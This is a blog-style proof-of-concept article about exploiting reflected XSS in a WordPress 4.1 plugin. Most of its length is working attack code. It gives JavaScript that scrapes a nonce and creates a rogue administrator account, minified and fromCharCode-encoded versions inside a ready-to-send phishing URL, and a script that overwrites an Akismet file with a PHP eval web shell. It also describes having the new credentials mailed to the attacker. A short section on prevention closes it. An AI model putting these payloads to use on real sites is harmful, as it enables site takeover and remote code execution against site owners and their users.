XSS and WordPress – The Aftermath
So many Themes and plugins contain XSS (both reflected and persistent) vulnerabilities. While I’ve discovered a number of these, I’ve never actually tried to leverage one to do any harm. I thought I’d do a quick experiment, to see how much damage you can do with a simple XSS attack.
Before starting this article, I’d like to point out that these are simply PoCs of what can be accomplished with XSS on a WordPress installation. XSS is a hard attack (if not borderline impossible) to prevent once you have a vector. Unfortunately, WordPress has a literal plethora of vulnerability Plugins and Themes with very high installation counts. This makes a great deal of WordPress installations vulnerable, but not due to any fault of WordPress core.
The Staging Ground
Let’s make the assumption we have a plugin that takes user input, and subsequently outputs it without doing any encoding, or validation. An example URL for triggering this XSS vulnerability – in our test environment – would be http://localhost/wp-content/plugins/xssplugin/view.php?name=XSS.
So, what desirable actions are there that we, as the attacker, would like to perform on a WordPress installation.
Create a New Administrative User
First things first – let’s look at creating a new administrative user. This would allow us, as the attacker, to do all sorts of nasty things to the target installation. This could lead us to a full server compromise, depending on the setup (and vulnerability of any local packages).
In order to add a new user, we’ll need to not only send a POST request to the script ‘/wp-admin/user-new.php’, but also provide the correct ‘nonce’ to this script. Using the ‘XMLHttpRequest’ feature, getting our nonce is a piece of cake.
// Send a GET request to the URL '/wp-admin/user-new.php', and extract the current 'nonce' value
var ajaxRequest = new XMLHttpRequest();
var requestURL = "/wp-admin/user-new.php";
var nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
var nonce = nonceMatch[1];
// Construct a POST query, using the previously extracted 'nonce' value, and create a new user with an arbitrary username / password, as an Administrator
var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@site.com&pass1=attacker&pass2=attacker&role=administrator";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(params);
Once we’ve written the above JS, let’s minify it a little bit. While there are many automated minifiers out there, I find that for small snippets like this most of them add bulk, rather than remove it. Let’s reduce the size of this payload a bit.
var a = XMLHttpRequest;
var b = new a();
var c = "/wp-admin/user-new.php";
var d = /ser" value="([^"]*?)"/g;
b.open("GET", c, false);
b.send();
b = new a();
b.open("POST", c, true);
b.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
b.send("action=createuser&_wpnonce_create-user="+d.exec(b.responseText)[1]+"&user_login=attacker&email=attacker@site.com&pass1=attacker&pass2=attacker&role=administrator");
So, we’re retaining line breaks here. Once they’re removed, we’re left with one long string of text that we could use as an XSS payload.
var a = XMLHttpRequest;var b = new a();var c = "/wp-admin/user-new.php";var d = /ser" value="([^"]*?)"/g;b.open("GET", c, false);b.send();b = new a();b.open("POST", c, true);b.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");b.send("action=createuser&_wpnonce_create-user="+d.exec(b.responseText)[1]+"&user_login=attacker&email=attacker@site.com&pass1=attacker&pass2=attacker&role=administrator");
We could encode it a bit further by using the ‘String.fromCharCode’ and ‘eval’ combination (as demonstrated in this tool: https://www.martineve.com/2007/05/23/string-fromcharcode-encoder/). This method can be used if speech marks / double quotes are escaped in the output. I’ve also URL Encoded the bracket and commas in the resulting payload.
Adding the resulting payload to our URL, we get the following link.
http://localhost/wp-content/plugins/xssplugin/view.php?name=eval%28String.fromCharCode%28118%2C97%2C114%2C32%2C97%2C32%2C61%2C32%2C88%2C77%2C76%2C72%2C116%2C116%2C112%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C59%2C118%2C97%2C114%2C32%2C98%2C32%2C61%2C32%2C110%2C101%2C119%2C32%2C97%2C40%2C41%2C59%2C118%2C97%2C114%2C32%2C99%2C32%2C61%2C32%2C34%2C47%2C119%2C112%2C45%2C97%2C100%2C109%2C105%2C110%2C47%2C117%2C115%2C101%2C114%2C45%2C110%2C101%2C119%2C46%2C112%2C104%2C112%2C34%2C59%2C118%2C97%2C114%2C32%2C100%2C32%2C61%2C32%2C47%2C115%2C101%2C114%2C34%2C32%2C118%2C97%2C108%2C117%2C101%2C61%2C34%2C40%2C91%2C94%2C34%2C93%2C42%2C63%2C41%2C34%2C47%2C103%2C59%2C98%2C46%2C111%2C112%2C101%2C110%2C40%2C34%2C71%2C69%2C84%2C34%2C44%2C32%2C99%2C44%2C32%2C102%2C97%2C108%2C115%2C101%2C41%2C59%2C98%2C46%2C115%2C101%2C110%2C100%2C40%2C41%2C59%2C98%2C32%2C61%2C32%2C110%2C101%2C119%2C32%2C97%2C40%2C41%2C59%2C98%2C46%2C111%2C112%2C101%2C110%2C40%2C34%2C80%2C79%2C83%2C84%2C34%2C44%2C32%2C99%2C44%2C32%2C116%2C114%2C117%2C101%2C41%2C59%2C98%2C46%2C115%2C101%2C116%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C72%2C101%2C97%2C100%2C101%2C114%2C40%2C34%2C67%2C111%2C110%2C116%2C101%2C110%2C116%2C45%2C84%2C121%2C112%2C101%2C34%2C44%2C32%2C34%2C97%2C112%2C112%2C108%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C47%2C120%2C45%2C119%2C119%2C119%2C45%2C102%2C111%2C114%2C109%2C45%2C117%2C114%2C108%2C101%2C110%2C99%2C111%2C100%2C101%2C100%2C34%2C41%2C59%2C98%2C46%2C115%2C101%2C110%2C100%2C40%2C34%2C97%2C99%2C116%2C105%2C111%2C110%2C61%2C99%2C114%2C101%2C97%2C116%2C101%2C117%2C115%2C101%2C114%2C38%2C95%2C119%2C112%2C110%2C111%2C110%2C99%2C101%2C95%2C99%2C114%2C101%2C97%2C116%2C101%2C45%2C117%2C115%2C101%2C114%2C61%2C34%2C43%2C100%2C46%2C101%2C120%2C101%2C99%2C40%2C98%2C46%2C114%2C101%2C115%2C112%2C111%2C110%2C115%2C101%2C84%2C101%2C120%2C116%2C41%2C91%2C49%2C93%2C43%2C34%2C38%2C117%2C115%2C101%2C114%2C95%2C108%2C111%2C103%2C105%2C110%2C61%2C97%2C116%2C116%2C97%2C99%2C107%2C101%2C114%2C38%2C101%2C109%2C97%2C105%2C108%2C61%2C97%2C116%2C116%2C97%2C99%2C107%2C101%2C114%2C64%2C115%2C105%2C116%2C101%2C46%2C99%2C111%2C109%2C38%2C112%2C97%2C115%2C115%2C49%2C61%2C97%2C116%2C116%2C97%2C99%2C107%2C101%2C114%2C38%2C112%2C97%2C115%2C115%2C50%2C61%2C97%2C116%2C116%2C97%2C99%2C107%2C101%2C114%2C38%2C114%2C111%2C108%2C101%2C61%2C97%2C100%2C109%2C105%2C110%2C105%2C115%2C116%2C114%2C97%2C116%2C111%2C114%2C34%2C41%2C59%29%29%0D%0A
If we can coax an administrative user to click on this link (while they’re logged in to the WordPress backend), then the payload will be triggered, and a new administrative user will be added. Now, we won’t be notified when this new user is added, but we can added an extra param to the initial payload named ‘send_password’, with the value of ‘1’, which will automatically send the registration details to our specified email address once the user has been added. We could of course watch this inbox for such welcome emails, and perform secondary attacks using this login, when we receive new credentials.
What if we see adding a new user as too obvious – of course a new user would appear on the control panel, and anyone viewing that user list would see not only our new user in that list, but our email address which we used to register the user to. We could of course automatically clean up after ourselves, but that’s outside of the scope of this article – maybe another day.
Dropping a Web Shell
Using the same methodology above, we could update the source code for a single file in the Akisment plugin (which is installed on all instances of WordPress by default), with a tiny web shell, which we can use to execute arbitrary PHP code.
// Send a GET request to the URL '/wp-admin/plugin-editor.php?akisment/index.php', and extract the current 'nonce' value
var ajaxRequest = new XMLHttpRequest();
var requestURL = "/wp-admin/plugin-editor.php?file=akismet/index.php"
var nonceRegex = /ce" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
var nonce = nonceMatch[1];
// Construct a POST query, using the previously extracted 'nonce' value, and update the content of the file 'akismet/index.php' with our tiny web shell
var params = "_wpnonce="+nonce+"&newcontent=<?php eval(base64_decode($_REQUEST['x']));&action=update&file=akismet/index.php"
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(params);
Once this XSS has been triggered by an administrative user, we should be able to execute arbitrary PHP code by sending a GET/POST request to the script ‘http://localhost/wp-content/plugins/akismet/index.php’, where the parameter ‘x’ is equal to the ‘base64_encode’ of our PHP code.
Can This Be Prevented?
Unfortunately, if a site is vulnerable to XSS, then attacks such as these are trivial to perform. Nonces are great at preventing CSRF, but when you’re able to inject your own content into the page – such as malicious script blocks – protecting core functionalities becomes very difficult, as you cannot differentiate between a legitimate user, and a malicious script. Some browsers offer a degree of protection from XSS (Chrome, and IE in particular), however even they have their flaws (i.e. XSS in existing SCRIPT blocks are not checked by Chrome). Referrer headers can be modified when using AJAX requests in some browsers (by pushing a new History entry onto the stack), or even provided by the browser if IFRAMEs are used to interact with the site.
I’m sure in the future, we’ll see some very clever ways at preventing XSS by using increasingly efficient filters (as Chrome does now), but there will always be a way around these.
The best advice I can give is, keep your Plugins / Themes / WordPress installation up to date at all times!
All of the above was authored against version 4.1 of WordPress